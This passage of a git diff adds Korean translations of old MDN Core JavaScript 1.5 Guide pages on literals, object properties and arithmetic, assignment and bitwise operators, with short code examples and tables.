+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:About", "Core_JavaScript_1.5_Guide:Values") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/JavaScript_Overview", "fr": "fr/Guide_JavaScript_1.5/Aper\u00e7u_de_JavaScript", "ja": "ja/Core_JavaScript_1.5_Guide/JavaScript_Overview", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Podgl\u0105d_JavaScriptu" } ) }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/literals/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/literals/index.html
new file mode 100644
index 0000000000..dfaff2c586
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/literals/index.html
@@ -0,0 +1,174 @@
+---
+title: Literals
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Literals
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<h3 id=".EC.83.81.EC.88.98.EA.B0.92.28Literal.29" name=".EC.83.81.EC.88.98.EA.B0.92.28Literal.29">상수값(Literal)</h3>
+<p>JavaScript에서 값을 표현하기 위해 상수값을 사용할 수 있습니다. 그것은 변수가 아니라 고정된 값으로서 "문자 그대로(literally)" 스크립트에 값을 제공하는 것입니다. 이 절에서 다음과 같은 상수값에 대해서 설명하겠습니다.</p>
+<ul>
+ <li>{{ Anch("배열 상수값") }}</li>
+ <li>{{ Anch("불리언 상수값") }}</li>
+ <li>{{ Anch("소수 상수값") }}</li>
+ <li>{{ Anch("정수") }}</li>
+ <li>{{ Anch("개체 상수값") }}</li>
+ <li>{{ Anch("문자열 상수값") }}</li>
+</ul>
+<h4 id=".EB.B0.B0.EC.97.B4_.EC.83.81.EC.88.98.EA.B0.92" name=".EB.B0.B0.EC.97.B4_.EC.83.81.EC.88.98.EA.B0.92">배열 상수값</h4>
+<p>배열 상수값은 대괄호([])안에 배열의 원소(element)를 0개 이상 나열한 것입니다. 배열 상수값으로 배열을 만드면 배열은 지정된 원소를 가지도록 초기화되고, 지정된 원소의 개수만큼의 길이를 갖게 됩니다.</p>
+<p>다음 예제는 세 개의 원소를 가지고 길이가 3인 <code>coffees</code> 배열을 만드는 예제입니다.</p>
+<pre>coffees = ["French Roast", "Colombian", "Kona"]</pre>
+<p><b>참고</b> 배열 상수값은 개체 초기화지정자(object initializer) 중의 하나입니다. <a href="ko/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_Object_Initializers">개체 초기화지정자 사용하기</a>를 보십시오.</p>
+<p>최상위 스크립트에서 상수값을 이용하여 배열을 만들면 JavaScript는 배열 상수값을 포함하는 표현식을 평가(evaluate)할 때마다 배열을 만듭니다. 또한, 함수 안에서 사용된 상수값은 함수가 호출될 때마다 생성됩니다.</p>
+<p>배열 상수값은 Array 개체입니다. Array 개체에 대한 상세한 내용은 <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object">Array 개체</a>를 보십시오.</p>
+<p><b>배열 상수값의 추가적인 쉼표</b></p>
+<p>배열 상수값에 모든 원소를 지정할 필요는 없습니다. 쉼표만 찍어 두면 값이 할당되지 않은 빈 공간을 가진 배열이 만들어집니다. 다음 예제는 <code>fish</code> 배열을 만듭니다.</p>
+<pre>fish = ["Lion", , "Angel"]</pre>
+<p>이 배열은 값을 가진 원소 두 개와 빈 원소 하나를 갖게됩니다. (<code>fish{{ mediawiki.external(0) }}</code>은 "Lion", <code>fish{{ mediawiki.external(1) }}</code>은 <code>undefined</code>, <code>fish{{ mediawiki.external(2) }}</code>는 "Angel"이라는 값을 가집니다.)</p>
+<p>원소 목록 끝에 남겨둔 쉼표는 무시됩니다. 다음 예제에서 배열 길이는 3입니다. <code>myList{{ mediawiki.external(3) }}</code>은 만들어지지 않습니다. 그외에 목록에 있는 다른 쉼표들은 각각 새로운 원소를 나타냅니다.</p>
+<pre>myList = ['home', , 'school', ];</pre>
+<p>다음 예제에서 배열 길이는 4이고, <code>myList{{ mediawiki.external(0) }}</code>과 <code>myList{{ mediawiki.external(2) }}</code>는 비게 됩니다.</p>
+<pre>myList = [ , 'home', , 'school'];</pre>
+<p>다음 예제에서 배열 길이는 4이고 <code>myList{{ mediawiki.external(1) }}</code>과 <code>myList{{ mediawiki.external(3) }}</code>이 비게 됩니다. 오직 마지막 쉼표만 무시됩니다.</p>
+<pre>myList = ['home', , 'school', , ];</pre>
+<h4 id=".EB.B6.88.EB.A6.AC.EC.96.B8_.EC.83.81.EC.88.98.EA.B0.92" name=".EB.B6.88.EB.A6.AC.EC.96.B8_.EC.83.81.EC.88.98.EA.B0.92">불리언 상수값</h4>
+<p>불리언 형은 두 가지 상수값을 가질 수 있는데, 그것은 <code>true</code>와 <code>false</code>입니다.</p>
+<p><code>true</code>, <code>false</code>라는 기본(primitive) 불리언 값과 true, false 값의 불리언 개체를 혼동하지 마십시오. 불리언 개체는 기본 불리언 데이터 형을 감싸는 역할을 할 뿐입니다. 더 많은 정보는 <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Boolean_Object">불리언 개체</a>를 참조하십시오.</p>
+<h4 id=".EC.A0.95.EC.88.98" name=".EC.A0.95.EC.88.98">정수</h4>
+<p>10진수, 16진수, 8진수 정수를 쓸 수 있습니다. 10진수 정수 상수값은 0(영)으로 시작하지 않는 숫자의 나열입니다. 0(영)으로 시작하는 정수 상수값은 8진수입니다. 0x(또는 0X)로 시작하면 16진수입니다. 16진수는 0부터 9까지의 숫자와 a부터 f나 A부터 F까지의 문자를 포함할 수 있습니다. 8진수에는 0부터 7까지만 쓸 수 있습니다.</p>
+<p>8진수 정수 상수값은 사용하지 말기를 추천하고 있으며, ECMA-262 표준 3판에서는 아예 제거되었습니다. 하위 호환성을 위해 JavaScript 1.5에서는 여전히 8진수 정수 상수값을 지원하고 있습니다.</p>
+<p>몇 가지 정수 상수값을 예를 보여드리겠습니다.</p>
+<pre class="eval">0, 117, -345 (10진수)
+015, 0001, -077 (8진수)
+0x1123, 0x00111, -0xF1A7 (16진수 또는 "hex")
+</pre>
+<h4 id=".EC.86.8C.EC.88.98_.EC.83.81.EC.88.98.EA.B0.92" name=".EC.86.8C.EC.88.98_.EC.83.81.EC.88.98.EA.B0.92">소수 상수값</h4>
+<p>소수 상수값은 이런 부분으로 이뤄집니다.</p>
+<ul>
+ <li>부호를 가질 수 있는(즉, "+"나 "-"로 시작할 수 있는) 10진수 정수,</li>
+ <li>소수점("."),</li>
+ <li>소수 부분(10진수),</li>
+ <li>지수 부분</li>
+</ul>
+<p>지수 부분은 "e"나 "E" 뒤에 숫자가 붙은 형태입니다. 숫자 앞에는 부호("+"나 "-")를 붙일 수도 있습니다. 소수 상수값은 적어도 하나의 숫자에 소수점 또는 지수 부분을 가져야 합니다.</p>
+<p>소수 상수값의 몇 가지 예제를 보여드리겠습니다. 3.1415, -3.1E12, .1e12, 2E-12</p>
+<h4 id=".EA.B0.9C.EC.B2.B4_.EC.83.81.EC.88.98.EA.B0.92" name=".EA.B0.9C.EC.B2.B4_.EC.83.81.EC.88.98.EA.B0.92">개체 상수값</h4>
+<p>개체 상수값은 중괄호({}) 안에 특성(property) 이름과 그에 해당하는 값의 쌍을 나열한 것입니다. 문장(statement)의 시작 부분에 개체 상수값을 사용해서는 안됩니다. { 가 블럭의 시작을 나타내기 때문에, 에러가 나거나 의도하지 않은 동작을 보일 것입니다.</p>
+<p>다음은 개체 상수값의 예입니다. <code>car</code> 개체의 첫 번째 원소는 <code>myCar</code>라는 특성을 정의하고 있습니다. 두 번째 원소는 <code>getCar</code> 특성을 정의하는데, <code>(CarTypes("Honda"));</code>라는 함수를 호출하고 있습니다. 세 번째 원소는 <code>special</code> 특성을 정의하는데에 <code>Sales</code>라는 변수를 사용합니다.</p>
+<pre>var Sales = "Toyota";
+
+function CarTypes(name) {
+ if(name == "Honda")
+ return name;
+ else
+ return "Sorry, we don't sell " + name + ".";
+}
+
+car = {myCar: "Saturn", getCar: CarTypes("Honda"), special: Sales}
+
+document.write(car.myCar); // Saturn
+document.write(car.getCar); // Honda
+document.write(car.special); // Toyota</pre>
+<p>개체 특성 이름에 정수 상수값이나 문자열 상수값을 사용할 수 있고, 개체 안에 다른 개체를 포함시킬 수도 있습니다. 다음 예제를 보십시오.</p>
+<pre>car = {manyCars: {a: "Saab", b: "Jeep"}, 7: "Mazda"}
+
+document.write(car.manyCars.b); // Jeep
+document.write(car[7]); // Mazda
+</pre>
+<p>다음 사항을 참고하십시오.</p>
+<pre class="eval">foo = {a: "alpha", 2: "two"}
+document.write (foo.a) // alpha
+document.write (foo[2]) // two
+//document.write (foo.2) // Error: missing ) after argument list
+//document.write (foo[a]) // Error: a is not defined
+document.write (foo["a"]) // alpha
+document.write (foo["2"]) // two
+</pre>
+<h4 id=".EB.AC.B8.EC.9E.90.EC.97.B4_.EC.83.81.EC.88.98.EA.B0.92" name=".EB.AC.B8.EC.9E.90.EC.97.B4_.EC.83.81.EC.88.98.EA.B0.92">문자열 상수값</h4>
+<p>문자열 상수값은 큰따옴표(")나 작은따옴표(')로 둘러싸인 0개 이상의 문자들 입니다. 문자열은 같은 종류의 따옴표로 묶어야 합니다. 즉, 작은따옴표 둘로 묶거나, 큰따옴표 둘로 묶어야 한다는 말입니다. 문자열 상수값의 예를 보여드리겠습니다.</p>
+<ul>
+ <li>"blah"</li>
+ <li>'blah'</li>
+ <li>"1234"</li>
+ <li>"one line \n another line"</li>
+ <li>"John's cat"</li>
+</ul>
+<p>우 리는 문자열 상수값에 String 개체의 모든 메소드를 호출할 수 있습니다. JavaScript는 자동으로 문자열 상수값을 임시 String 개체로 만들어서 메소드를 호출한 후, 임시 String 개체를 제거합니다. 문자열 상수값에 <code>String.length</code> 특성을 사용할 수도 있습니다. 이렇게 말입니다.</p>
+<ul>
+ <li>"John's cat".length</li>
+</ul>
+<p>우리가 특별하게 String 개체를 필요로 하는 경우가 아니라면 문자열 상수값을 사용해야만 합니다. String 개체에 대한 자세한 내용은 <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/String_Object">String 개체</a>를 보십시오.</p>
+<h5 id=".EB.AC.B8.EC.9E.90.EC.97.B4.EC.97.90.EC.84.9C_.ED.8A.B9.EC.88.98.EB.AC.B8.EC.9E.90_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name=".EB.AC.B8.EC.9E.90.EC.97.B4.EC.97.90.EC.84.9C_.ED.8A.B9.EC.88.98.EB.AC.B8.EC.9E.90_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">문자열에서 특수문자 사용하기</h5>
+<p>다음 예제에서 볼 수 있듯이 일반적인 문자뿐만 아니라 특수문자도 문자열에 쓸 수 있습니다.</p>
+<pre>"one line \n another line"</pre>
+<p>JavaScript 문자열에 사용할 수 있는 특수문자를 표로 나타낸 것입니다.</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>문자</th>
+ <th>의미</th>
+ </tr>
+ <tr>
+ <td>\b</td>
+ <td>Backspace</td>
+ </tr>
+ <tr>
+ <td>\f</td>
+ <td>Form feed</td>
+ </tr>
+ <tr>
+ <td>\n</td>
+ <td>New line</td>
+ </tr>
+ <tr>
+ <td>\r</td>
+ <td>Carriage return</td>
+ </tr>
+ <tr>
+ <td>\t</td>
+ <td>Tab</td>
+ </tr>
+ <tr>
+ <td>\v</td>
+ <td>Vertical tab</td>
+ </tr>
+ <tr>
+ <td>\'</td>
+ <td>Apostrophe or single quote</td>
+ </tr>
+ <tr>
+ <td>\"</td>
+ <td>Double quote</td>
+ </tr>
+ <tr>
+ <td>\\</td>
+ <td>Backslash character (\).</td>
+ </tr>
+ <tr>
+ <td>\<i>XXX</i></td>
+ <td>세 자리 까지의 8진수 "XXX"로 지정하는 Latin-1 인코딩의 문자. 0부터 377 사이. 예를 들어, \251은 저작권 기호의 8진수 표현입니다.</td>
+ </tr>
+ <tr>
+ <td>\x<i>XX</i></td>
+ <td>두 자리 까지의 16진수 "XX"로 지정하는 Latin-1 인코딩의 문자. 00부터 FF 사이. 예를 들어, \xA9는 저작권 기호의 16진수 표현입니다.</td>
+ </tr>
+ <tr>
+ <td>\u<i>XXXX</i></td>
+ <td>네 자리의 16진수 "XXXX"로 지정하는 유니코드 문자. 예를 들어, \u00A9는 저작권 기호의 유니코드 표현입니다. <a href="ko/Core_JavaScript_1.5_Guide/Unicode#.EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84_.EC.8B.9C.ED.80.80.EC.8A.A4">유니코드 이스케이프 시퀀스</a>를 보십시오.</td>
+ </tr>
+ </tbody>
+</table>
+<p><small><b>표 2.1: JavaScript 특수문자</b></small></p>
+<h5 id=".EB.AC.B8.EC.9E.90_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84" name=".EB.AC.B8.EC.9E.90_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84">문자 이스케이프</h5>
+<p>표 2.1에 없는 문자에 대해서는 역슬래시가 무시됩니다. 그러나 이러한 기능은 사용하지 않기를 권장하므로 사용을 피해야만 합니다.</p>
+<p>역슬래시를 앞에 붙이면 문자열 안에 따옴표를 넣을 수 있습니다. 이것은 따옴표 "이스케이프(escaping)"라고 알려져 있습니다.</p>
+<pre>var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service."
+document.write(quote)
+</pre>
+<p>이 코드의 결과는 다음과 같습니다.</p>
+<pre>He read "The Cremation of Sam McGee" by R.W. Service.
+</pre>
+<p>문자열 안에 역슬래시 문자를 넣고 싶으면 역슬래시 문자를 이스케이프시켜야 합니다. 예를 들어, <code>c:\temp</code> 라는 경로를 문자열에 할당하고 싶으면 다음과 같이 하면 됩니다.</p>
+<pre>var home = "c:\\temp"
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Constants", "Core_JavaScript_1.5_Guide:Unicode") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Literals", "fr": "fr/Guide_JavaScript_1.5/Constantes_litt\u00e9rales", "ja": "ja/Core_JavaScript_1.5_Guide/Literals", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Litera\u0142y" } ) }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/objects_and_properties/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/objects_and_properties/index.html
new file mode 100644
index 0000000000..abe9ff83f4
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/objects_and_properties/index.html
@@ -0,0 +1,39 @@
+---
+title: Objects and Properties
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Objects_and_Properties
+---
+<h3 id=".EA.B0.9D.EC.B2.B4.EC.99.80_.EC.86.8D.EC.84.B1" name=".EA.B0.9D.EC.B2.B4.EC.99.80_.EC.86.8D.EC.84.B1"> 객체와 속성 </h3>
+<p>자바스크립트 객체는 객체를 구성하는 속성을 가지고 있습니다. 속성에는 간단한 방법으로 접근할 수 있습니다.:
+</p>
+<pre>객체이름.속성이름
+</pre>
+<p>객체 이름과 속성 이름 두 가지 모두에 대해 알기쉬운 예가 있습니다. 속성은 값을 지정하여 정의합니다. 예를 들어 <code>myCar</code>라는 객체가 있다면(객체가 이미 존재한다고 가정합니다.), <code>make</code>, <code>model</code>, <code>year</code>라는 속성에 다음과 같이 값을 지정할 수 있습니다.
+</p>
+<pre>myCar.make = "Ford";
+myCar.model = "Mustang";
+myCar.year = 1969;
+</pre>
+<p>배열은 한 가지 변수 이름으로 결합되어 있는 연속된 값의 집합입니다. 자바스크립트에서 속성과 배열은 밀접한 관련이 있습니다; 말하자면 그 두 가지는 같은 데이터 구조에 다른 인터페이스라는 뜻입니다. 예를 들면 <code>myCar</code> 객체에 다음과 같이 접근할 수도 있습니다:
+</p>
+<pre>myCar["make"] = "Ford";
+myCar["model"] = "Mustang";
+myCar["year"] = 1967;
+</pre>
+<p>이러한 배열의 종류는 <i>연관 배열</i>이라고 부릅니다. 왜냐하면 각각의 인덱스 요소가 문자열 값과 연관되어 있기 때문입니다. 이러한 방식에 대한 설명은 다음의 함수에 객체와 객체의 이름을 입력했을 때 객체의 속성을 표시해주는 다음과 같은 함수에서 알아볼 수 있습니다:
+</p>
+<pre>function show_props(obj, obj_name) {
+ var result = "";
+ for (var i in obj)
+ result += obj_name + "." + i + " = " + obj[i] + "\n";
+ return result;
+}
+</pre>
+<p>결과적으로 <code>call show_props(myCar, "myCar")</code>라는 함수 호출은 다음과 같은 값을 반환합니다:
+</p>
+<pre>myCar.make = Ford
+myCar.model = Mustang
+myCar.year = 1967
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Predefined_Functions:escape_and_unescape_Functions", "Core_JavaScript_1.5_Guide:Creating_New_Objects") }}
+</p>{{ languages( { "fr": "fr/Guide_JavaScript_1.5/Objets_et_propri\u00e9t\u00e9s", "ja": "ja/Core_JavaScript_1.5_Guide/Objects_and_Properties", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Obiekty_i_w\u0142a\u015bciwo\u015bci" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/arithmetic_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/arithmetic_operators/index.html
new file mode 100644
index 0000000000..ce55c0e3f2
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/arithmetic_operators/index.html
@@ -0,0 +1,44 @@
+---
+title: Arithmetic Operators
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<h3 id=".EC.82.B0.EC.88.A0_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EC.82.B0.EC.88.A0_.EC.97.B0.EC.82.B0.EC.9E.90"> 산술 연산자 </h3>
+<p>산술 연산자는 수(상수값이든지 변수든지)를 받아서 하나의 수를 반환합니다. 표준 산술 연산자는 더하기(+), 빼기(-), 곱하기(*), 나누기(/)입니다. 이 연산자들은 대부분의 다른 프로그래밍 언어에서 처럼 동작합니다. 예외적으로 / 연산자는 JavaScript에서 소수를 반환합니다. C나 Java 같은 다른 언어에서는 / 연산자가 소수 부분은 잘라버립니다. 예를 들면 이렇습니다.
+</p>
+<pre>1/2 //returns 0.5 in JavaScript
+1/2 //returns 0 in Java
+</pre>
+<p>JavaScript는 다음 표에 나오는 산술 연산자를 제공합니다.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>연산자</th>
+<th>설명</th>
+<th>예제</th>
+</tr>
+<tr>
+<td>%<br>(나머지)</td>
+<td>2항(binary) 연산자. 두 피연산자의 나눗셈에서 나온 나머지를 반환합니다.</td>
+<td>12 % 5 returns 2.</td>
+</tr>
+<tr>
+<td>++<br>(증가)</td>
+<td>단항(unary) 연산자. 피연산자에 1을 더함. 전위 연산자(++x)를 사용하면 피연산자에 1을 더한 후 그 값을 반환합니다. 후위 연산자(x++)를 사용하면 피연산자에 1을 더하기 전에 피연산자의 값을 반환합니다.</td>
+<td><code>x</code>가 3일 때, <code>++x</code>는 <code>x</code>를 4로 만들고 4를 반환합니다. 반면 <code>x++</code>는 <code>x</code>를 4로 만들고 3을 반환합니다.</td>
+</tr>
+<tr>
+<td>--<br>(감소)</td>
+<td>단항 연산자. 피연산자에서 1을 뺌. 반환값은 증가 연산자와 동일한 방식으로 결정됩니다.</td>
+<td><code>x</code>가 3일 때, <code>--x</code>는 <code>x</code>를 2로 만들고 2를 반환합니다. 반면 <code>x--</code>는 <code>x</code>를 2로 만들고 3을 반환합니다.</td>
+</tr>
+<tr>
+<td>-<br>(단항 부정)</td>
+<td>단항 연산자. 피연산자의 부호를 바꾼 값을 반환합니다.</td>
+<td><code>x</code>가 3이면 <code>-x</code>는 -3을 반환합니다.</td>
+</tr>
+</tbody></table>
+<p><small><b>표 3.4: 산술 연산자</b></small>
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:Comparison_Operators", "Core_JavaScript_1.5_Guide:Operators:Bitwise_Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_arithm\u00e9tiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/assignment_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/assignment_operators/index.html
new file mode 100644
index 0000000000..dbc284f12f
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/assignment_operators/index.html
@@ -0,0 +1,62 @@
+---
+title: Assignment Operators
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators
+---
+<h3 id=".ED.95.A0.EB.8B.B9_.EC.97.B0.EC.82.B0.EC.9E.90" name=".ED.95.A0.EB.8B.B9_.EC.97.B0.EC.82.B0.EC.9E.90">할당 연산자</h3>
+<p>할당 연산자는 왼쪽 피연산자에 오른쪽 피연산자의 값을 할당합니다. 가장 기본적인 할당 연산자에는 등호(=)가 있는데, 왼쪽 피연산자의 값을 오른쪽 연산자에 할당합니다. 즉, x = y 라고 하면 y의 값이 x에 할당되는 것입니다.</p>
+<p>다른 할당 연산자는 다음 표에서 보듯이 표준연산을 약식으로 쓰는 것입니다.</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>약식 연산자</th>
+ <th>의미</th>
+ </tr>
+ <tr>
+ <td>x += y</td>
+ <td>x = x + y</td>
+ </tr>
+ <tr>
+ <td>x -= y</td>
+ <td>x = x - y</td>
+ </tr>
+ <tr>
+ <td>x *= y</td>
+ <td>x = x * y</td>
+ </tr>
+ <tr>
+ <td>x /= y</td>
+ <td>x = x / y</td>
+ </tr>
+ <tr>
+ <td>x %= y</td>
+ <td>x = x % y</td>
+ </tr>
+ <tr>
+ <td>x &lt;&lt;= y</td>
+ <td>x = x &lt;&lt; y</td>
+ </tr>
+ <tr>
+ <td>x &gt;&gt;= y</td>
+ <td>x = x &gt;&gt; y</td>
+ </tr>
+ <tr>
+ <td>x &gt;&gt;&gt;= y</td>
+ <td>x = x &gt;&gt;&gt; y</td>
+ </tr>
+ <tr>
+ <td>x &amp;= y</td>
+ <td>x = x &amp; y</td>
+ </tr>
+ <tr>
+ <td>x ^= y</td>
+ <td>x = x ^ y</td>
+ </tr>
+ <tr>
+ <td>x |= y</td>
+ <td>x = x | y</td>
+ </tr>
+ </tbody>
+</table>
+<p><small><b>표: 할당 연산자</b></small></p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators", "Core_JavaScript_1.5_Guide:Operators:Comparison_Operators") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/bitwise_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/bitwise_operators/index.html
new file mode 100644
index 0000000000..860e6787e9
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/bitwise_operators/index.html
@@ -0,0 +1,101 @@
+---
+title: Bitwise Operators
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p><br>
+</p>
+<h3 id=".EB.B9.84.ED.8A.B8_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EB.B9.84.ED.8A.B8_.EC.97.B0.EC.82.B0.EC.9E.90"> 비트 연산자 </h3>
+<p>비트 연산자는 피연산자를 10진수나 16진수, 8진수로 다루지 않고 32개의 비트 집합으로 다룹니다. 예를 들어, 10진수 9는 2진수로 1001입니다. 비트 연산자는 2진수 표현으로 연산을 하지만 반환값은 JavaScript 표준 수 값으로 반환합니다.
+</p><p>JavaScript의 비트 연산자를 다음 표에 요약했습니다.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>연산자</th>
+<th>사용법</th>
+<th>설명</th>
+</tr>
+<tr>
+<td>비트 AND</td>
+<td><code>a &amp; b</code></td>
+<td>두 피연산자의 대응되는 비트가 모두 1이면 1을 반환.</td>
+</tr>
+<tr>
+<td>비트 OR</td>
+<td><code>a | b</code></td>
+<td>두 피연산자의 대응되는 비트에서 둘 중 하나가 1이거나 모두 1인 경우 1을 반환.</td>
+</tr>
+<tr>
+<td>비트 XOR</td>
+<td><code>a ^ b</code></td>
+<td>두 피연산자의 대응되는 비트에서 둘 중 하나가 1이고, 둘 다 1이 아닐 경우 1을 반환.</td>
+</tr>
+<tr>
+<td>비트 NOT</td>
+<td><code>~ a</code></td>
+<td>피연산자의 비트를 뒤집음.</td>
+</tr>
+<tr>
+<td>왼쪽으로 이동</td>
+<td><code>a &lt;&lt; b</code></td>
+<td>a의 2진수 표현을 b 비트만큼 왼쪽으로 이동함. 오른쪽은 0으로 채움.</td>
+</tr>
+<tr>
+<td>부호 비트로 채우는 오른쪽 이동</td>
+<td><code>a &gt;&gt; b</code></td>
+<td>a의 2진수 표현을 b 비트만큼 오른쪽으로 이동함. 오른쪽 남는 비트는 버림.</td>
+</tr>
+<tr>
+<td>0으로 채우는 오른쪽 이동</td>
+<td><code>a &gt;&gt;&gt; b</code></td>
+<td>a의 2진수 표현을 b 비트만큼 오른쪽으로 이동함. 오른쪽 남는 비트는 버리고, 왼쪽은 0으로 채움.</td>
+</tr>
+</tbody></table>
+<p><small><b>표 3.5: 비트 연산자</b></small>
+</p>
+<h4 id=".EB.B9.84.ED.8A.B8_.EB.85.BC.EB.A6.AC_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EB.B9.84.ED.8A.B8_.EB.85.BC.EB.A6.AC_.EC.97.B0.EC.82.B0.EC.9E.90"> 비트 논리 연산자 </h4>
+<p>개념적으로 비트 논리 연산자는 다음과 같이 동작합니다.
+</p>
+<ul><li> 피연산자는 32비트 정수로 변환되어 비트의 나열로 표현됩니다.
+</li><li> 두 피연산자의 비트를 같은 위치에 있는 것 끼리 짝을 짓습니다.
+</li><li> 짝 지어진 각각의 쌍에 대해서 연산자를 적용하여 결과를 만들어냅니다.
+</li></ul>
+<p>예를 들어, 9를 2진수로 쓰면 1001이고 15를 2진수로 표현하면 1111입니다. 두 값에 비트 연산을 적용하면 결과는 다음과 같습니다.
+</p>
+<ul><li> 15 &amp; 9 yields 9 (1111 &amp; 1001 = 1001)
+</li><li> 15 | 9 yields 15 (1111 | 1001 = 1111)
+</li><li> 15 ^ 9 yields 6 (1111 ^ 1001 = 0110)
+</li></ul>
+<h4 id=".EB.B9.84.ED.8A.B8_.EC.9D.B4.EB.8F.99_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EB.B9.84.ED.8A.B8_.EC.9D.B4.EB.8F.99_.EC.97.B0.EC.82.B0.EC.9E.90"> 비트 이동 연산자 </h4>
+<p>비트 이동 연산자는 피연산자 두 개를 받습니다. 첫 번째는 이동하려는 수이고, 두 번째는 첫 번째 피연산자를 몇 비트나 이동시킬지 나타내는 비트 수입니다. 이동 방향은 사용된 연산자에 따라 다릅니다.
+</p><p>이동 연산자는 피연산자를 32비트 정수로 변환하여 연산하고, 왼쪽 연산자와 같은 자료형으로 반환합니다.
+</p><p>이동 연산자는 다음 표에 있습니다.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>연산자</th>
+<th>설명</th>
+<th>예제</th>
+</tr>
+<tr>
+<td>&lt;&lt;<br>
+(왼쪽 이동)</td>
+<td>이 연산자는 첫 번째 피연산자의 비트를 지정된 수만큼 왼쪽으로 옮깁니다. 왼쪽으로 넘친 비트는 버립니다. 오른쪽 빈 자리는 0으로 채웁니다.</td> <td>9&lt;&lt;2는 36을 반환합니다. 1001을 왼쪽으로 2비트 이동하면 100100이 되고 이것은 36이기 때문입니다.</td>
+</tr>
+<tr>
+<td>&gt;&gt;<br>
+(부호 비트로 채우는 오른쪽 이동)</td>
+<td>이 연산자는 첫 번째 피연산자의 비트를 지정된 수 만큼 오른쪽으로 옮깁니다. 오른쪽으로 넘친 비트는 버립니다. 왼쪽 빈 자리는 원래 가장 왼쪽에 있던 비트 값으로 채웁니다.</td>
+<td>9&gt;&gt;2는 2를 반환합니다. 1001을 2비트 오른쪽으로 이동하면 10이 되는데 이것은 2이기 때문입니다. 비슷하게 -9&gt;&gt;2는 -3을 반환하는데, 부호가 유지되기 때문입니다.</td>
+</tr>
+<tr>
+<td>&gt;&gt;&gt;<br>
+(0으로 채우는 오른쪽 이동)</td>
+<td>이 연산자는 첫 번째 피연산자의 비트를 지정된 수 만큼 오른쪽으로 옮깁니다. 오른쪽으로 넘친 비트는 버립니다. 왼쪽 빈 자리는 0으로 채웁니다.</td>
+<td>19&gt;&gt;&gt;2는 4를 반환합니다. 10011을 2비트 오른쪽으로 이동하면 100이 되기 때문입니다. 음수가 아닌 수에 대해서는 0을 채우는 오른쪽 이동이나 부호 비트로 채우는 오른쪽 이동이 똑같은 결과를 반환합니다.</td>
+</tr>
